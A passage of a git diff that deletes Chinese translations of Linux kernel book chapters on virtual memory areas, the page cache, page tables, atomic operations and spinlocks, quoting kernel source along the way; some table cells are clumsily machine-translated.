*buf, int len, int write); -/* Called by the /proc/PID/maps code to ask the vma whether it - * has a special name. Returning non-NULL will also cause this - * vma to be dumped unconditionally. */ - const char *(*name)(struct vm_area_struct *vma); - ... - ... -``` - -当 VMA 被枚举到地址空间中时,分配给`*open()`函数指针的例程被调用。类似地,当 VMA 从虚拟地址空间分离时,分配给`*close()`函数指针的例程被调用。分配给`*mremap()`界面的功能在 VMA 映射的存储区域要调整大小时执行。当 VMA 映射的物理区域不活动时,系统触发页面错误异常,内核的页面错误处理器调用分配给`*fault()`指针的函数,将 VMA 区域的相应数据读入物理页面。 - -内核支持对存储设备上类似于内存的文件进行直接访问操作(DAX),如 nvrams、闪存和其他持久内存设备。此类存储设备的驱动程序被实现为直接在存储上执行所有读写操作,而无需任何缓存。当用户进程试图映射来自 DAX 存储设备的文件时,底层磁盘驱动程序直接映射相应的文件页面来处理虚拟地址空间。为了获得最佳性能,用户模式进程可以通过启用`VM_HUGETLB`来映射 DAX 存储中的大型文件。由于支持大页面大小,DAX 文件映射上的页面错误无法通过常规页面错误处理程序来处理,支持 DAX 的文件系统需要为 VMA 的`*pmd_fault()`指针分配适当的错误处理程序。 - -# 管理虚拟内存区域 - -内核的虚拟机子系统实现各种操作来操纵进程的虚拟内存区域;这些功能包括创建、插入、修改、定位、合并和删除 VMA 实例。我们将讨论一些重要的套路。 - -# 找到 VMA - -`find_vma()`例程定位 VMA 列表中满足给定地址条件的第一个区域(`addr < vm_area_struct->vm_end`)。 - -```sh -/* Look up the first VMA which satisfies addr < vm_end, NULL if none. */ -struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr) -{ - struct rb_node *rb_node; - struct vm_area_struct *vma; - - /* Check the cache first. */ - vma = vmacache_find(mm, addr); - if (likely(vma)) - return vma; - - rb_node = mm->mm_rb.rb_node; - while (rb_node) { - struct vm_area_struct *tmp; - tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb); - if (tmp->vm_end > addr) { - vma = tmp; - if (tmp->vm_start <= addr) - break; - rb_node = rb_node->rb_left; - } else - rb_node = rb_node->rb_right; - } - if (vma) - vmacache_update(addr, vma); - return vma; -} -``` - -该函数首先检查在每个线程的`vma`缓存中找到的最近访问的`vma`中请求的地址。匹配时,它会返回 VMA 的地址,否则它会进入红黑树以找到合适的 VMA。树的根节点位于`mm->mm_rb.rb_node`。通过助手功能`rb_entry()`,验证每个节点在 VMA 虚拟地址区间内的地址。如果找到了起始地址比指定地址低、结束地址比指定地址高的目标 VMA,函数将返回 VMA 实例的地址。如果仍然没有找到合适的 VMA,搜索将继续搜索`rbtree`的左或右子节点。当找到合适的 VMA 时,指向它的指针被更新到`vma`缓存(预期下一次调用`find_vma()`来定位同一区域中的相邻地址),并且它返回 VMA 实例的地址。 - -当在现有区域之前或之后添加新区域时(因此也在两个现有区域之间),内核会将所涉及的数据结构合并到一个结构中,但当然,前提是所有所涉及区域的访问权限都相同,并且从同一个后备存储映射连续的数据。 - -# 合并 VMA 地区 - -当一个新的 VMA 紧接在一个具有相同访问属性的现有 VMA 之前或之后映射,并且数据来自一个文件支持的内存区域时,最好将它们合并到一个单一的 VMA 结构中。`vma_merge()`是一个辅助函数,被调用来合并具有相同属性的周围 VMA: - -```sh -struct vm_area_struct *vma_merge(struct mm_struct *mm, - struct vm_area_struct *prev, unsigned long addr, - unsigned long end, unsigned long vm_flags, - struct anon_vma *anon_vma, struct file *file, - pgoff_t pgoff, struct mempolicy *policy, - struct vm_userfaultfd_ctx vm_userfaultfd_ctx) -{ - pgoff_t pglen = (end - addr) >> PAGE_SHIFT; - struct vm_area_struct *area, *next; - int err; - ... - ... - -``` - -`*mm`指 VMA 要合并的进程的内存描述符;`*prev`指地址间隔在新区域之前的 VMA;而`addr`、`end`和`vm_flags`包含了新区域的开始、结束和旗帜。`*file`指内存区域映射到新区域的文件实例,`pgoff`指定文件数据内映射的偏移量。 - -此功能首先检查新区域是否可以与前置区域合并: - -```sh - ... - ... - /* - * Can it merge with the predecessor? - */ - if (prev && prev->vm_end == addr && - mpol_equal(vma_policy(prev), policy) && - can_vma_merge_after(prev, vm_flags, - anon_vma, file, pgoff, - vm_userfaultfd_ctx)) { - ... - ... -``` - -为此,它调用一个助手函数`can_vma_merge_after()`,该函数检查前置任务的结束地址是否对应于新区域的开始地址,如果两个区域的访问标志相同,它还检查文件映射的偏移量,以确保它们在文件区域中是连续的,并且两个区域都不包含任何匿名映射: - -```sh - ... - ... - /* - * OK, it can. Can we now merge in the successor as well? - */ - if (next && end == next->vm_start && - mpol_equal(policy, vma_policy(next)) && - can_vma_merge_before(next, vm_flags, - anon_vma, file, - pgoff+pglen, - vm_userfaultfd_ctx) && - is_mergeable_anon_vma(prev->anon_vma, - next->anon_vma, NULL)) { - /* cases 1, 6 */ - err = __vma_adjust(prev, prev->vm_start, - next->vm_end, prev->vm_pgoff, NULL, - prev); - } else /* cases 2, 5, 7 */ - err = __vma_adjust(prev, prev->vm_start, - end, prev->vm_pgoff, NULL, prev); - - ... - ... -} -``` - -然后检查是否有可能与后续区域合并;为此,它调用助手函数`can_vma_merge_before()`。该函数执行与之前类似的检查,如果发现前置区域和后续区域相同,则调用`is_mergeable_anon_vma()`检查前置区域的任何匿名映射是否可以与后续区域的匿名映射合并。最后,调用另一个辅助函数`__vma_adjust()`来执行最终的合并,这适当地操纵了 VMA 实例。 - -存在类似类型的辅助函数用于创建、插入和删除内存区域,这些辅助函数从`do_mmap()`和`do_munmap()`作为辅助函数调用,当用户模式应用分别尝试`mmap()`和`unmap()`内存区域时调用。我们将不再进一步讨论这些助手例程的细节。 - -# 结构地址空间 - -内存缓存是现代内存管理不可或缺的一部分。简单来说,**缓存**是用于特定需求的页面集合。大多数操作系统都实现了一个**缓冲高速缓存***,这是一个管理用于缓存永久存储磁盘块的内存块列表的框架。缓冲区缓存允许文件系统通过分组和将磁盘同步推迟到适当的时间来最小化磁盘输入/输出操作。* - - *Linux 内核实现了一个**页面缓存**作为缓存机制;简而言之,页面缓存是页面帧的集合,这些页面帧被动态管理以缓存磁盘文件和目录,并通过提供用于交换和按需分页的页面来支持虚拟内存操作。它还处理为特殊文件分配的页面,如 IPC 共享内存和消息队列。读写等应用文件输入/输出调用会导致底层文件系统对页面缓存中的页面执行相关操作。对未读文件的读操作会将请求的文件数据从磁盘提取到页面缓存的页面中,写操作会更新缓存页面中的相关文件数据,然后这些数据被标记为*脏*,并以特定的时间间隔刷新到磁盘。 - -缓存中包含特定磁盘文件数据的页面组通过类型为`struct address_space`的描述符来表示,因此每个`address_space`实例都充当文件`inode`或块设备文件`inode`所拥有的一组页面的抽象: - -```sh -struct address_space { - struct inode *host; /* owner: inode, block_device */ - struct radix_tree_root page_tree; /* radix tree of all pages */ - spinlock_t tree_lock; /* and lock protecting it */ - atomic_t i_mmap_writable;/* count VM_SHARED mappings */ - struct rb_root i_mmap; /* tree of private and shared mappings */ - struct rw_semaphore i_mmap_rwsem; /* protect tree, count, list */ - /* Protected by tree_lock together with the radix tree */ - unsigned long nrpages; /* number of total pages */ - /* number of shadow or DAX exceptional entries */ - unsigned long nrexceptional; - pgoff_t writeback_index;/* writeback starts here */ - const struct address_space_operations *a_ops; /* methods */ - unsigned long flags; /* error bits */ - spinlock_t private_lock; /* for use by the address_space */ - gfp_t gfp_mask; /* implicit gfp mask for allocations */ - struct list_head private_list; /* ditto */ - void *private_data; /* ditto */ -} __attribute__((aligned(sizeof(long)))); -``` - -`*host`指针指向所有者`inode`,其数据包含在当前`address_space`对象所代表的页面中。例如,如果高速缓存中的页面包含由 Ext4 文件系统管理的文件的数据,则该文件的相应 VFS `inode`将`address_space`对象存储在其`i_data`字段中。文件的`inode`和相应的`address_space`对象存储在 VFS `inode`对象的`i_data`字段中。`nr_pages`字段包含此`address_space`下的页数。 - -为了高效管理缓存中的文件页面,VM 子系统需要跟踪所有虚拟地址到相同`address_space`区域的映射;例如,许多用户模式进程可能通过`vm_area_struct`实例将共享库的页面映射到它们的地址空间。`address_space`对象的`i_mmap`字段是红黑树的根元素,包含当前映射到此`address_space`的所有`vm_area _struct`实例;由于每个`vm_area_struct`实例都引用各自进程的内存描述符,因此总是有可能跟踪进程引用。 - -`address_space`对象下包含文件数据的所有物理页面通过基数树进行组织,以便高效访问;`page_tree`字段是`struct radix_tree_root`的一个实例,为页面的基数树提供根元素。该结构在内核头``中定义: - -```sh -struct radix_tree_root { - gfp_t gfp_mask; - struct radix_tree_node __rcu *rnode; -}; -``` - -基数树的每个节点都是`struct radix_tree_node`类型;前一个结构的`*rnode`指针指的是树的第一个节点元素: - -```sh -struct radix_tree_node { - unsigned char shift; /* Bits remaining in each slot */ - unsigned char offset; /* Slot offset in parent */ - unsigned int count; - union { - struct { - /* Used when ascending tree */ - struct radix_tree_node *parent; - /* For tree user */ - void *private_data; - }; - /* Used when freeing node */ - struct rcu_head rcu_head; - }; - /* For tree user */ - struct list_head private_list; - void __rcu *slots[RADIX_TREE_MAP_SIZE]; - unsigned long tags[RADIX_TREE_MAX_TAGS][RADIX_TREE_TAG_LONGS]; -}; -``` - -`offset`字段指定父节点中的节点槽偏移量,`count`保存子节点的总数,`*parent`是指向父节点的指针。每个节点可以通过槽数组引用 64 个树节点(由宏`RADIX_TREE_MAP_SIZE`指定),其中未使用的槽条目被初始化为空。 - -为了有效管理地址空间下的页面,内存管理器设置干净页面和脏页面之间的明确区分是很重要的;这可以通过为`radix`树的每个节点的页面分配的**标签**来实现。标记信息存储在节点结构的`tags`字段中,该字段是一个二维数组。数组的第一维区分可能的标签,第二维包含足够数量的无符号长整型元素,以便在节点中为每个页面组织一个位。以下是支持的标签列表: - -```sh -/* - * Radix-tree tags, for tagging dirty and writeback pages within - * pagecache radix trees - */ -#define PAGECACHE_TAG_DIRTY 0 -#define PAGECACHE_TAG_WRITEBACK 1 -#define PAGECACHE_TAG_TOWRITE 2 -``` - -Linux `radix`树 API 为`set`、`clear,`和`get`标签提供了各种操作界面: - -```sh -void *radix_tree_tag_set(struct radix_tree_root *root, - unsigned long index, unsigned int tag); -void *radix_tree_tag_clear(struct radix_tree_root *root, - unsigned long index, unsigned int tag); -int radix_tree_tag_get(struct radix_tree_root *root, - unsigned long index, unsigned int tag); -``` - -下图描述了`address_space`对象下的页面布局: - -![](img/00046.jpeg) - -每个地址空间对象都绑定到一组函数,这些函数实现地址空间页面和后台存储块设备之间的各种低级操作。`address_space`结构的`a_ops`指针指的是包含地址空间操作的描述符。VFS 调用这些操作来启动与地址映射和后台存储块设备相关联的高速缓存中的页面之间的数据传输: - -![](img/00047.jpeg) - -# 页面表格 - -在到达适当的物理存储器区域之前,对进程虚拟地址区域的所有访问操作都经过地址转换。虚拟机子系统维护页表,以将线性页地址转换为物理地址。尽管页表布局是特定于体系结构的,但对于大多数体系结构,内核使用四层分页结构,我们将在本次讨论中考虑 x86-64 内核页表布局。 - -下图描述了 x86-64 的页表布局: - -![](img/00048.jpeg) - -页全局目录的地址,即顶层页表,被初始化到控制寄存器 cr3 中。这是位分解后的 64 位寄存器: - -| 位 | 描述 | -| 2:0 | 忽略 | -| 4:3 | 页面级直写和页面级缓存禁用 | -| 11:5 | 内向的; 寡言少语的; 矜持的 | -| 51:12 | 页面全局目录的地址 | -| 63:52 | 内向的; 寡言少语的; 矜持的 | - -在 x86-64 支持的 64 位宽线性地址中,Linux 目前使用 48 位,支持 256 TB 的线性地址空间,这对于当前使用来说已经足够大了。这个 48 位线性地址分为五个部分,前 12 位包含物理帧中存储位置的偏移量,其余部分包含适当页表结构中的偏移量: - -| **线性地址位** | **描述** | -| 11:0 (12 位) | 物理页面索引 | -| 20:12 (9 位) | 页表索引 | -| 29:21 (9 位) | 页面中间目录的索引 | -| 38:30 (9 位) | 页面上部目录的索引 | -| 47:39 (9 位) | 页面全局目录的索引 | - -每个页表结构可以支持 512 条记录,其中每条记录提供下一级页结构的基址。在给定线性地址的转换期间,MMU 将包含索引的前 9 位提取到页面全局目录(PGD)中,然后将其添加到 PGD 的基址(在 cr3 中找到);这种查找导致发现页面上部目录(PUD)的基址。接下来,MMU 检索线性地址中找到的 PUD 偏移量(9 位),并将其添加到 PUD 结构的基址,以到达产生页面中间目录基址(PMD)的 PUD 条目(PUDE)。线性地址中的 PMD 偏移随后被添加到 PMD 的基址,以到达相关的 PMD 条目(PMDE),这产生了页表的基址。线性地址中发现的页表偏移量(9 位)然后被添加到从 PMD 条目发现的基址,以到达页表条目(PTE),这又产生所请求数据的物理帧的起始地址。最后,线性地址中的页面偏移量(12 位)被添加到 PTE 发现的基址,以到达要访问的存储位置。 - -# 摘要 - -在这一章中,我们重点介绍了与处理虚拟地址空间和内存映射相关的虚拟内存管理的细节。我们讨论了虚拟机子系统的关键数据结构、内存描述符结构(`struct mm_struct`)和 VMA 描述符(`struct vm_area_struct`)。我们查看了页面缓存及其数据结构(`struct address_space`),用于将文件缓冲区反向映射到各种进程地址空间。最后,我们探讨了在许多架构中广泛使用的 Linux 的页表布局。在对文件系统和虚拟内存管理有了透彻的理解之后,在下一章中,我们将把这个讨论扩展到 IPC 子系统及其资源。* \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/08.md b/docs/master-linux-kernel-dev/08.md deleted file mode 100644 index 076cf1e3..00000000 --- a/docs/master-linux-kernel-dev/08.md +++ /dev/null @@ -1,1021 +0,0 @@ -# 八、内核同步和锁定 - -内核地址空间由所有用户模式进程共享,这支持对内核服务和数据结构的并发访问。为了系统的可靠运行,核心服务的实现必须是可重入的。访问全局数据结构的内核代码路径需要同步,以确保共享数据的一致性和有效性。在这一章中,我们将详细介绍内核程序员可以用来同步内核代码路径和保护共享数据免受并发访问的各种资源。 - -本章将涵盖以下主题: - -* 原子操作 -* 自旋锁 -* 标准互斥体 -* 等待/缠绕互斥体 -* 旗语 -* 顺序锁 -* 完成 - -# 原子操作 - -如果一个计算操作在系统的其他部分看来是瞬间发生的,那么它就被认为是**原子**。原子性保证启动的操作不可分割且不间断地执行。大多数中央处理器指令集架构定义了指令操作码,可以在内存位置上执行原子读-修改-写操作。这些操作有一个成功或失败的定义,也就是说,它们要么成功地改变了内存位置的状态,要么失败了,没有明显的效果。这些操作对于在多线程场景中原子地操作共享数据来说很方便。它们也是实现排除锁的基础构造块,排除锁用于保护共享内存位置免受并行代码路径的并发访问。 - -Linux 内核代码对各种用例使用原子操作,例如共享数据结构中的引用计数器 *(* 用于跟踪对各种内核数据结构的并发访问)、等待通知标志,以及启用特定代码路径的数据结构的独占所有权。为了确保直接处理原子操作的内核服务的可移植性,内核提供了一个丰富的体系结构中立的接口宏和内联函数库,作为依赖于处理器的原子指令的抽象。这些中性接口下相关的特定于 CPU 的原子指令由内核代码的架构分支实现。 - -# 原子整数运算 - -通用原子操作接口包括对整数和位操作的支持。整数运算被实现为对称为`atomic_t` (32 位整数)和`atomic64_t` (64 位整数)的特殊内核定义类型进行运算。这些类型的定义可以在通用内核标题``中找到: - -```sh -typedef struct { - int counter; -} atomic_t; - -#ifdef CONFIG_64BIT -typedef struct { - long counter; -} atomic64_t; -#endif -``` - -实现提供两组整数运算;一组适用于 32 位,另一组适用于 64 位原子变量。这些接口操作被实现为一组宏和内联函数。以下是适用于`atomic_t`类型变量的操作汇总列表: - -| **界面宏/内联功能** | **描述** | -| `ATOMIC_INIT(i)` | 初始化原子计数器的宏 | -| `atomic_read(v)` | 读取原子计数器的值`v` | -| `atomic_set(v, i)` | 自动将计数器`v`设置为`i`中指定的值 | -| `atomic_add(int i, atomic_t *v)` | 自动添加`i`到计数器`v` | -| `atomic_sub(int i, atomic_t *v)` | 从计数器`v`中自动减去`i` | -| `atomic_inc(atomic_t *v)` | 自动递增计数器`v` | -| `atomic_dec(atomic_t *v)` | 自动递减计数器`v` | - -以下是执行相关**读-修改-写**(**【RMW】**)操作并返回结果(即返回修改后写入内存地址的值)的函数列表: - -| **操作** | **描述** | -| `bool atomic_sub_and_test(int i, atomic_t *v)` | 自动从`v`中减去`i`,如果结果为零则返回`true`,否则返回`false` | -| `bool atomic_dec_and_test(atomic_t *v)` | 自动将`v`减 1,如果结果为 0,则返回`true`,对于所有其他情况,则返回`false` | -| `bool atomic_inc_and_test(atomic_t *v)` | 自动将`i`添加到`v`中,如果结果为 0,则返回`true`,对于所有其他情况,则返回`false` | -| `bool atomic_add_negative(int i, atomic_t *v)` | 自动将`i`加到`v`上,如果结果为负,则返回`true`,如果结果大于或等于零,则返回`false` | -| `int atomic_add_return(int i, atomic_t *v)` | 自动将`i`添加到`v`并返回结果 | -| `int atomic_sub_return(int i, atomic_t *v)` | 自动从`v`中减去`i`并返回结果 | -| `int atomic_fetch_add(int i, atomic_t *v)` | 自动将`i`加到`v`并在`v`返回预加值 | -| `int atomic_fetch_sub(int i, atomic_t *v)` | 自动从`v`中减去`i`,并在`v`返回预减值 | -| `int atomic_cmpxchg(atomic_t *v, int old,` int new) | 读取位置`v`处的值,检查是否等于`old`*;*如果`true`,则在`v`与`*new*`交换值,并始终返回在`v`读取的值 | -| `int atomic_xchg(atomic_t *v, int new)` | 将存储在位置`v`的旧值与`new`交换,并返回旧值`v` | - -对于所有这些操作,存在 64 位变体用于`atomic64_t`;这些功能有命名约定`atomic64_*()`。 - -# 原子逐位运算 - -内核提供的通用原子操作接口也包括按位操作。与整数运算不同,整数运算被实现为对`atomic(64)_t`类型进行操作,这些位运算可以应用于任何存储位置。这些操作的参数是位或位号的位置,以及一个具有有效地址的指针。32 位机器的位范围为 0-31,64 位机器的位范围为 0-63。以下是可用的按位运算的汇总列表: - -| **操作界面** | **描述** | -| `set_bit(int nr, volatile unsigned long *addr)` | 自动将位`nr`设置在从`addr`开始的位置 | -| `clear_bit(int nr, volatile unsigned long *addr)` | 自动清除从`addr`开始的位置中的位`nr` | -| `change_bit(int nr, volatile unsigned long *addr)` | 在从`addr`开始的位置自动翻转位`nr` | -| `int test_and_set_bit(int nr, volatile unsigned long *addr)` | 自动将位`nr`设置在从`addr`开始的位置,并在`nrth`位返回旧值 | -| `int test_and_clear_bit(int nr, volatile unsigned long *addr)` | 自动清除从`addr`开始的位置中的位`nr`,并在`nr` `th`位返回旧值 | -| `int test_and_change_bit(int nr, volatile unsigned long *addr)` | 在从`addr`开始的位置自动翻转位`nr`,并在`nrth`位返回旧值 | - -对于具有返回类型的所有操作,返回的值是在指定的修改发生之前从内存地址中读出的位的旧状态。这些操作的非原子版本也存在;对于可能需要从互斥关键块中的代码语句开始进行位操作的情况,它们是有效和有用的。这些在内核头``中声明。 - -# 引入排除锁 - -硬件专用的原子指令只能对 CPU 字长和双字长的数据进行操作;它们不能直接应用于自定义大小的共享数据结构。对于大多数多线程场景,通常可以观察到共享数据具有定制的大小,例如,具有各种类型的 *n* 元素的结构。访问此类数据的并发代码路径通常包含一堆指令,这些指令被编程为访问和操作共享数据;这种访问操作必须自动执行*以防止种族冲突。为了确保这些代码块的原子性,使用了互斥锁。所有多线程环境都提供基于排除协议的排除锁的实现。这些锁定实现建立在硬件特定的原子指令之上。* - -Linux 内核实现了标准排除机制的操作接口,例如相互排除和读写排除。它还包含对各种其他当代轻量级和无锁同步机制的支持。大多数内核数据结构和其他共享数据元素,如共享缓冲区和设备寄存器,都通过内核提供的适当的排除锁定接口来防止并发访问。在本节中,我们将探讨可用的排除项及其实施细节。 - -# 自旋锁 - -**自旋锁**是最简单和轻量级的互斥机制之一,被大多数并发编程环境广泛实现。自旋锁实现定义了锁结构和操作锁结构的操作。锁结构主要承载原子锁计数器和其他元素,操作接口包括: - -* 一个**初始化例程**,将自旋锁实例初始化为默认(解锁)状态 -* 一个**锁定例程**,试图通过自动改变锁计数器的状态来获取自旋锁 -* 一个**解锁程序**,通过改变计数器到解锁状态来释放旋转锁 - -当调用者上下文试图在锁定(或由另一个上下文持有)时获取自旋锁时,锁函数迭代地轮询或旋转锁,直到可用,导致调用者上下文占用中央处理器,直到获取锁。正是由于这个事实,这种排除机制被恰当地命名为自旋锁。因此,建议确保关键部分中的代码是原子的或非阻塞的,以便锁可以保持一段短暂的、确定性的时间,因为很明显,长时间保持自旋锁可能被证明是灾难性的。 - -如上所述,自旋锁是围绕处理器特定的原子操作构建的;内核的架构分支实现核心自旋锁操作(汇编编程)。内核通过可由内核服务直接使用的通用平台中立接口包装特定于架构的实现;这使得使用自旋锁保护共享资源的服务代码具有可移植性。 - -通用自旋锁接口可以在内核头``中找到,而特定于架构的定义是``的一部分。通用接口提供了一系列`lock()`和`unlock()`操作,每个操作都是为特定的用例实现的。我们将在接下来的章节中讨论这些接口中的每一个;现在,让我们从界面提供的`lock()`和`unlock()`操作的标准和最基本变体开始讨论。下面的代码示例显示了基本 spinlock 接口的用法: - -```sh -DEFINE_SPINLOCK(s_lock); -spin_lock(&s_lock); -/* critical region ... */ -spin_unlock(&s_lock); -``` - -让我们来看看这些功能在幕后的实现: - -```sh -static __always_inline void spin_lock(spinlock_t *lock) -{ - raw_spin_lock(&lock->rlock); -} - -... -... - -static __always_inline void spin_unlock(spinlock_t *lock) -{ - raw_spin_unlock(&lock->rlock); -} -``` - -内核代码实现了自旋锁操作的两种变体;一个适用于 SMP 平台,另一个适用于单处理器平台。与构建的架构和类型(SMP 和 UP)相关的自旋锁数据结构和操作在内核源代码树的不同头中定义。让我们熟悉一下这些标题的作用和重要性: - -``包含泛型 spinlock/rwlock 声明。 - -以下标题与 SMP 平台构建相关: - -* ``包含`arch_spinlock_t/arch_rwlock_t`和初始值设定项 -* ``定义泛型类型和初始值设定项 -* ``包含`arch_spin_*()`和类似的低级操作实现 -* ``包含`_spin_*()`原料药的原型 -* ``构建最终的`spin_*()`应用编程接口 - -以下标题与单处理器(UP)平台构建相关: - -* ``包含通用、简化的 UP 自旋锁类型 -* ``定义泛型类型和初始值设定项 -* ``包含`arch_spin_*()`和类似版本的 UP 构建(非调试、非抢占构建上的 nop) -* ``构建`_spin_*()`应用编程接口 -* ``构建最终的`spin_*()`应用编程接口 - -通用内核头``包含一个条件指令,用于决定要拉取的适当(SMP 或 UP) API。 - -```sh -/* - * Pull the _spin_*()/_read_*()/_write_*() functions/declarations: - */ -#if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK) -# include -#else -# include -#endif -``` - -`raw_spin_lock()`和`raw_spin_unlock()`宏根据构建配置中选择的平台类型(SMP 或 UP)动态扩展到合适版本的自旋锁操作。对于 SMP 平台,`raw_spin_lock()`扩展到内核源文件`kernel/locking/spinlock.c`中实现的`__raw_spin_lock()`操作。以下是用宏定义的锁定操作代码: - -```sh -/* - * We build the __lock_function inlines here. They are too large for - * inlining all over the place, but here is only one user per function - * which embeds them into the calling _lock_function below. - * - * This could be a long-held lock. We both prepare to spin for a long - * time (making _this_ CPU preemptable if possible), and we also signal - * towards that other CPU that it should break the lock ASAP. - */ - -#define BUILD_LOCK_OPS(op, locktype) \ -void __lockfunc __raw_##op##_lock(locktype##_t *lock) \ -{ \ - for (;;) { \ - preempt_disable(); \ - if (likely(do_raw_##op##_trylock(lock))) \ - break; \ - preempt_enable(); \ - \ - if (!(lock)->break_lock) \ - (lock)->break_lock = 1; \ - while (!raw_##op##_can_lock(lock) && (lock)->break_lock)\ - arch_##op##_relax(&lock->raw_lock); \ - } \ - (lock)->break_lock = 0; \ -} -``` - -该例程由嵌套循环构造、外部`for`循环构造和内部`while`循环组成,循环旋转直到满足指定条件。外环中的第一个代码块试图通过调用特定于架构的`##_trylock()`例程来自动获取锁。请注意,在本地处理器上禁用内核抢占的情况下调用该函数。如果锁被成功获取,它将脱离循环结构,并在抢占关闭的情况下返回调用。这确保了持有锁的调用者上下文在关键部分执行期间不可抢占。这种方法还确保了在当前所有者释放锁之前,没有其他上下文可以争夺本地 CPU 上的相同锁。 - -但是如果无法获取锁,通过`preempt_enable()`调用启用抢占,调用者上下文进入内循环。这个循环是通过一个条件`while`实现的,该条件旋转直到发现锁定可用。循环的每次迭代都会检查锁,当它检测到锁还不可用时,它会调用特定于架构的 relax 例程(执行特定于 CPU 的 nop 指令),然后再次旋转以检查锁。回想一下,在此期间,抢占被启用;这确保了调用者上下文是可抢占的,并且不会占用 CPU 很长时间,尤其是当锁被高度竞争时,这种情况可能会发生。它还允许在同一个中央处理器上调度的两个或多个线程争用同一个锁,这可能是通过抢占彼此来实现的。 - -当旋转上下文通过`raw_spin_can_lock()`检测到锁可用时,它会跳出`while`循环,导致调用者迭代回外部循环的开始(`for`循环),在那里它再次尝试通过禁用抢占来通过`##_trylock()`获取锁: - -```sh -/* - * In the UP-nondebug case there's no real locking going on, so the - * only thing we have to do is to keep the preempt counts and irq - * flags straight, to suppress compiler warnings of unused lock - * variables, and to add the proper checker annotations: - */ -#define ___LOCK(lock) \ - do { __acquire(lock); (void)(lock); } while (0) - -#define __LOCK(lock) \ - do { preempt_disable(); ___LOCK(lock); } while (0) - -#define _raw_spin_lock(lock) __LOCK(lock) -``` - -与 SMP 变体不同,UP 平台的自旋锁实现非常简单;事实上,lock 例程只是禁用内核抢占,并将调用者放入一个关键部分。这是可行的,因为在抢占被暂停的情况下,没有另一个上下文争用锁的可能性。 - -# 备用自旋锁 API - -到目前为止,我们讨论的标准自旋锁操作适用于保护只能从进程上下文内核路径访问的共享资源。然而,可能会有这样的场景:从内核服务的进程和中断上下文代码中访问特定的共享资源或数据。例如,考虑一个设备驱动程序服务,它可能包含进程上下文和中断上下文例程,这两个例程都被编程为访问共享驱动程序缓冲区以执行适当的输入/输出操作。 - -让我们假设使用了一个自旋锁来保护驱动程序的共享资源免受并发访问,并且使用标准的`spin_lock()`和`spin_unlock()`操作用适当的关键部分对驱动程序服务的所有例程(进程和中断上下文)进行编程,以寻求对共享资源的访问。该策略将通过强制排除来确保共享资源的保护,但是会在随机时间在中央处理器上造成*硬锁定条件*,这是由于*锁定*由同一中央处理器上的中断路径代码竞争,其中*锁定*由进程上下文路径持有。为了进一步理解这一点,让我们假设以下事件以相同的顺序发生: - -1. 驱动程序的进程上下文例程使用标准的`spin_lock()`调用获取*锁(*)。 -2. 当关键部分正在执行时,中断发生并被驱动到本地中央处理器,导致进程上下文例程抢占并释放中央处理器用于中断处理程序。 -3. 驱动程序(ISR)的中断上下文路径开始并尝试获取*锁(*使用标准的`spin_lock()`调用*),*然后开始旋转以使*锁*可用。 - -在 ISR 期间,进程上下文被抢占,永远无法恢复执行,导致永远无法释放的*锁定*,CPU 被永不屈服的旋转中断处理程序硬锁定。 - -为了防止这种情况发生,进程上下文代码需要在当前处理器锁定*时禁用中断。*这将确保中断永远不会抢占当前上下文,直到关键部分完成并锁定释放*。*请注意,中断仍然会发生,但会被路由到其他可用的 CPU,中断处理程序可以在这些 CPU 上旋转,直到*锁定*变为可用。spinlock 接口提供了一个替代锁定例程`spin_lock_irqsave()`,该例程禁用当前处理器上的中断以及内核抢占。下面的代码片段显示了例程的底层代码: - -```sh -unsigned long __lockfunc __raw_##op##_lock_irqsave(locktype##_t *lock) \ -{ \ - unsigned long flags; \ - \ - for (;;) { \ - preempt_disable(); \ - local_irq_save(flags); \ - if (likely(do_raw_##op##_trylock(lock))) \ - break; \ - local_irq_restore(flags); \ - preempt_enable(); \ - \ - if (!(lock)->break_lock) \ - (lock)->break_lock = 1; \ - while (!raw_##op##_can_lock(lock) && (lock)->break_lock)\ - arch_##op##_relax(&lock->raw_lock); \ - } \ - (lock)->break_lock = 0; \ - return flags; \ -} -``` - -`local_irq_save()`被调用以禁用当前处理器的硬中断;注意在获取锁失败时,如何通过调用`local_irq_restore()`来启用中断。请注意,调用方使用`spin_lock_irqsave()`拍摄的`lock`需要使用`spin_lock_irqrestore()`解锁,这将在释放锁定之前为当前处理器启用内核抢占和中断。 - -类似于硬中断处理程序,软中断上下文例程,如*软 irqs、小任务、*和其他类似的*下半部分*也有可能争夺由同一处理器上的进程上下文代码持有的*锁*。这可以通过在进程上下文中获取*锁*时禁用*下半部分*的执行来防止。`spin_lock_bh()`是锁定例程的另一个变体,负责在本地 CPU 上暂停中断上下文下半部分的执行。 - -```sh -void __lockfunc __raw_##op##_lock_bh(locktype##_t *lock) \ -{ \ - unsigned long flags; \ - \ - /* */ \ - /* Careful: we must exclude softirqs too, hence the */ \ - /* irq-disabling. We use the generic preemption-aware */ \ - /* function: */ \ - /**/ \ - flags = _raw_##op##_lock_irqsave(lock); \ - local_bh_disable(); \ - local_irq_restore(flags); \ -} -``` - -`local_bh_disable()`暂停本地 CPU 的下半部分执行。要释放`spin_lock_bh()`获得的*锁*,调用者上下文需要调用`spin_unlock_bh()`,这将释放本地 CPU 的自旋锁和 BH 锁。 - -以下是内核自旋锁应用编程接口的摘要列表: - -| **功能** | **描述** | -| `spin_lock_init()` | 初始化自旋锁 | -| `spin_lock()` | 获得锁定,在竞争中旋转 | -| `spin_trylock()` | 尝试获取锁,在争用时返回错误 | -| `spin_lock_bh()` | 通过暂停本地处理器上的 BH 例程获取锁定,在争用时旋转 | -| `spin_lock_irqsave()` | 通过保存当前中断状态暂停本地处理器上的中断来获取锁定,在争用时旋转 | -| `spin_lock_irq()` | 通过暂停本地处理器上的中断获取锁定,在争用时旋转 | -| `spin_unlock()` | 松开锁 | -| `spin_unlock_bh()` | 释放锁定并启用本地处理器的下半部分 | -| `spin_unlock_irqrestore()` | 释放锁定并将本地中断恢复到以前的状态 | -| `spin_unlock_irq()` | 释放锁定并恢复本地处理器的中断 | -| `spin_is_locked()` | 返回锁的状态,如果持有锁,返回非零值;如果有锁,返回零 | - -# 读写器自旋锁 - -到目前为止讨论的 Spinlock 